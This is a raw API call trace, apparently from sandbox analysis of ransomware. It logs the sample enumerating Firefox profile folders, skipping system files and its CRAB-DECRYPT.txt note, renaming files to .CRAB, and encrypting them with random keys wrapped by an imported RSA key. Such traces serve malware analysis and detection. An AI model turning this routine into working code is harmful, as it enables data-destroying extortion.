	[0121.291] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\*"
	[0121.291] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\*", lpFindFileData=0x3149220 | out: lpFindFileData=0x3149220) returned 0x3165d18
	[0121.291] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0121.291] FindNextFileW (in: hFindFile=0x3165d18, lpFindFileData=0x3149220 | out: lpFindFileData=0x3149220) returned 1
	[0121.291] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0121.291] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0121.291] FindNextFileW (in: hFindFile=0x3165d18, lpFindFileData=0x3149220 | out: lpFindFileData=0x3149220) returned 1
	[0121.291] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0121.291] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0121.291] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\CRAB-DECRYPT.txt"
	[0121.291] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0121.291] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\CRAB-DECRYPT.txt") returned 116
	[0121.291] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\CRAB-DECRYPT.txt") returned 116
	[0121.291] lstrlenW (lpString=".txt") returned 4
	[0121.291] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0121.292] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0121.292] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.292] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\CRAB-DECRYPT.txt") returned 116
	[0121.292] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\CRAB-DECRYPT.txt") returned 116
	[0121.292] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0121.292] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0121.292] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0121.292] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0121.292] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0121.292] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0121.292] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0121.292] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0121.292] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0121.292] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.292] FindNextFileW (in: hFindFile=0x3165d18, lpFindFileData=0x3149220 | out: lpFindFileData=0x3149220) returned 1
	[0121.292] lstrcmpW (lpString1="gmpopenh264.dll", lpString2=".") returned 1
	[0121.292] lstrcmpW (lpString1="gmpopenh264.dll", lpString2="..") returned 1
	[0121.293] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\", lpString2="gmpopenh264.dll" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\gmpopenh264.dll") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\gmpopenh264.dll"
	[0121.293] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0121.293] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\gmpopenh264.dll") returned 115
	[0121.293] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\gmpopenh264.dll") returned 115
	[0121.293] lstrlenW (lpString=".dll") returned 4
	[0121.293] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0121.293] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".dll ") returned 5
	[0121.293] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.293] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.294] FindNextFileW (in: hFindFile=0x3165d18, lpFindFileData=0x3149220 | out: lpFindFileData=0x3149220) returned 1
	[0121.294] lstrcmpW (lpString1="gmpopenh264.info", lpString2=".") returned 1
	[0121.294] lstrcmpW (lpString1="gmpopenh264.info", lpString2="..") returned 1
	[0121.294] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\", lpString2="gmpopenh264.info" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\gmpopenh264.info") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\gmpopenh264.info"
	[0121.294] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0121.294] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\gmpopenh264.info") returned 116
	[0121.294] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\gmpopenh264.info") returned 116
	[0121.294] lstrlenW (lpString=".info") returned 5
	[0121.294] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0121.294] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".info ") returned 6
	[0121.294] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.295] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\gmpopenh264.info") returned 116
	[0121.295] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\gmpopenh264.info") returned 116
	[0121.295] lstrcmpiW (lpString1="gmpopenh264.info", lpString2="desktop.ini") returned 1
	[0121.295] lstrcmpiW (lpString1="gmpopenh264.info", lpString2="autorun.inf") returned 1
	[0121.295] lstrcmpiW (lpString1="gmpopenh264.info", lpString2="ntuser.dat") returned -1
	[0121.295] lstrcmpiW (lpString1="gmpopenh264.info", lpString2="iconcache.db") returned -1
	[0121.295] lstrcmpiW (lpString1="gmpopenh264.info", lpString2="bootsect.bak") returned 1
	[0121.295] lstrcmpiW (lpString1="gmpopenh264.info", lpString2="boot.ini") returned 1
	[0121.295] lstrcmpiW (lpString1="gmpopenh264.info", lpString2="ntuser.dat.log") returned -1
	[0121.295] lstrcmpiW (lpString1="gmpopenh264.info", lpString2="thumbs.db") returned -1
	[0121.295] lstrcmpiW (lpString1="gmpopenh264.info", lpString2="CRAB-DECRYPT.txt") returned 1
	[0121.295] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0121.295] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\gmpopenh264.info.CRAB") returned 121
	[0121.295] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\gmpopenh264.info" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\gmpopenh264.info")) returned 0x20
	[0121.296] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\gmpopenh264.info", dwFileAttributes=0x20) returned 1
	[0121.297] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\gmpopenh264.info" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\gmpopenh264.info"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\gmpopenh264.info.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\gmpopenh264.info.crab")) returned 1
	[0121.299] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0121.299] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\gmpopenh264.info.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\gmpopenh264.info.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\gmpopenh264.info.CRAB"
	[0121.299] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\gmpopenh264.info.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\gmpopenh264.info.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\gmpopenh264.info.CRAB.CRAB"
	[0121.299] CryptAcquireContextW (in: phProv=0x3148840, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3148840*=0xd6e6b0) returned 1
	[0121.300] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0121.300] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0121.300] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0121.300] CryptGenRandom (in: hProv=0xd6e6b0, dwLen=0x10, pbBuffer=0x314897c | out: pbBuffer=0x314897c) returned 1
	[0121.300] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0121.300] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.301] CryptAcquireContextW (in: phProv=0x3148840, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3148840*=0xd6ed98) returned 1
	[0121.301] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0121.301] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0121.302] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0121.302] CryptGenRandom (in: hProv=0xd6ed98, dwLen=0x20, pbBuffer=0x3148958 | out: pbBuffer=0x3148958) returned 1
	[0121.302] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0121.302] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.302] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0121.302] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0121.303] CryptAcquireContextW (in: phProv=0x3148830, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3148830*=0xd6eb78) returned 1
	[0121.303] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314882c | out: phKey=0x314882c*=0x3165d58) returned 1
	[0121.303] CryptGetKeyParam (in: hKey=0x3165d58, dwParam=0x8, pbData=0x314881c, pdwDataLen=0x3148824, dwFlags=0x0 | out: pbData=0x314881c*=0x800, pdwDataLen=0x3148824*=0x4) returned 1
	[0121.303] CryptEncrypt (in: hKey=0x3165d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x314898c*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x314898c*=0x100) returned 1
	[0121.303] GetLastError () returned 0x0
	[0121.303] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0121.303] CryptAcquireContextW (in: phProv=0x3148830, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3148830*=0xd6e6b0) returned 1
	[0121.304] CryptImportKey (in: hProv=0xd6e6b0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314882c | out: phKey=0x314882c*=0x3165dd8) returned 1
	[0121.304] CryptGetKeyParam (in: hKey=0x3165dd8, dwParam=0x8, pbData=0x314881c, pdwDataLen=0x3148824, dwFlags=0x0 | out: pbData=0x314881c*=0x800, pdwDataLen=0x3148824*=0x4) returned 1
	[0121.304] CryptEncrypt (in: hKey=0x3165dd8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3148990*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3148990*=0x100) returned 1
	[0121.304] GetLastError () returned 0x0
	[0121.304] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0121.305] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\gmpopenh264.info.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\gmpopenh264.info.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3dc
	[0121.305] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0121.305] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0121.306] ReadFile (in: hFile=0x3dc, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x31489d4, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x31489d4*=0x74, lpOverlapped=0x0) returned 1
	[0121.322] VirtualAlloc (lpAddress=0x0, dwSize=0x80, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0121.322] VirtualAlloc (lpAddress=0x0, dwSize=0x80, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0121.328] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.329] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xffffff8c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.329] WriteFile (in: hFile=0x3dc, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x31489c4, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x31489c4*=0x80, lpOverlapped=0x0) returned 1
	[0121.329] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.330] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.333] WriteFile (in: hFile=0x3dc, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x31489c4, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x31489c4*=0x100, lpOverlapped=0x0) returned 1
	[0121.334] WriteFile (in: hFile=0x3dc, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x31489c4, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x31489c4*=0x100, lpOverlapped=0x0) returned 1
	[0121.338] WriteFile (in: hFile=0x3dc, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x31489c4, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x31489c4*=0x8, lpOverlapped=0x0) returned 1
	[0121.338] CloseHandle (hObject=0x3dc) returned 1
	[0121.339] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.340] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.340] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.340] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.341] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.341] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.341] FindNextFileW (in: hFindFile=0x3165d18, lpFindFileData=0x3149220 | out: lpFindFileData=0x3149220) returned 0
	[0121.341] FindClose (in: hFindFile=0x3165d18 | out: hFindFile=0x3165d18) returned 1
	[0121.341] FindNextFileW (in: hFindFile=0x3165cd8, lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 1
	[0121.341] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0121.341] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0121.341] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\CRAB-DECRYPT.txt"
	[0121.341] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0121.342] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\CRAB-DECRYPT.txt") returned 112
	[0121.342] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\CRAB-DECRYPT.txt") returned 112
	[0121.342] lstrlenW (lpString=".txt") returned 4
	[0121.342] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0121.342] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0121.342] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.342] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\CRAB-DECRYPT.txt") returned 112
	[0121.342] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\CRAB-DECRYPT.txt") returned 112
	[0121.343] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0121.343] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0121.343] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0121.343] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0121.343] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0121.343] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0121.343] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0121.343] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0121.343] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0121.343] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.343] FindNextFileW (in: hFindFile=0x3165cd8, lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 0
	[0121.343] FindClose (in: hFindFile=0x3165cd8 | out: hFindFile=0x3165cd8) returned 1
	[0121.343] FindNextFileW (in: hFindFile=0xded3e8, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0121.343] lstrcmpW (lpString1="gmp-widevinecdm", lpString2=".") returned 1
	[0121.343] lstrcmpW (lpString1="gmp-widevinecdm", lpString2="..") returned 1
	[0121.343] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="gmp-widevinecdm" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm"
	[0121.343] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\"
	[0121.343] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0121.344] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0121.344] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0121.344] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0121.344] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0121.344] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.344] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x31494c8, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0121.344] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0121.344] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0121.344] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3148cb0, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0121.344] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0121.344] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0121.344] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0121.344] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\\\CRAB-DECRYPT.txt") returned 113
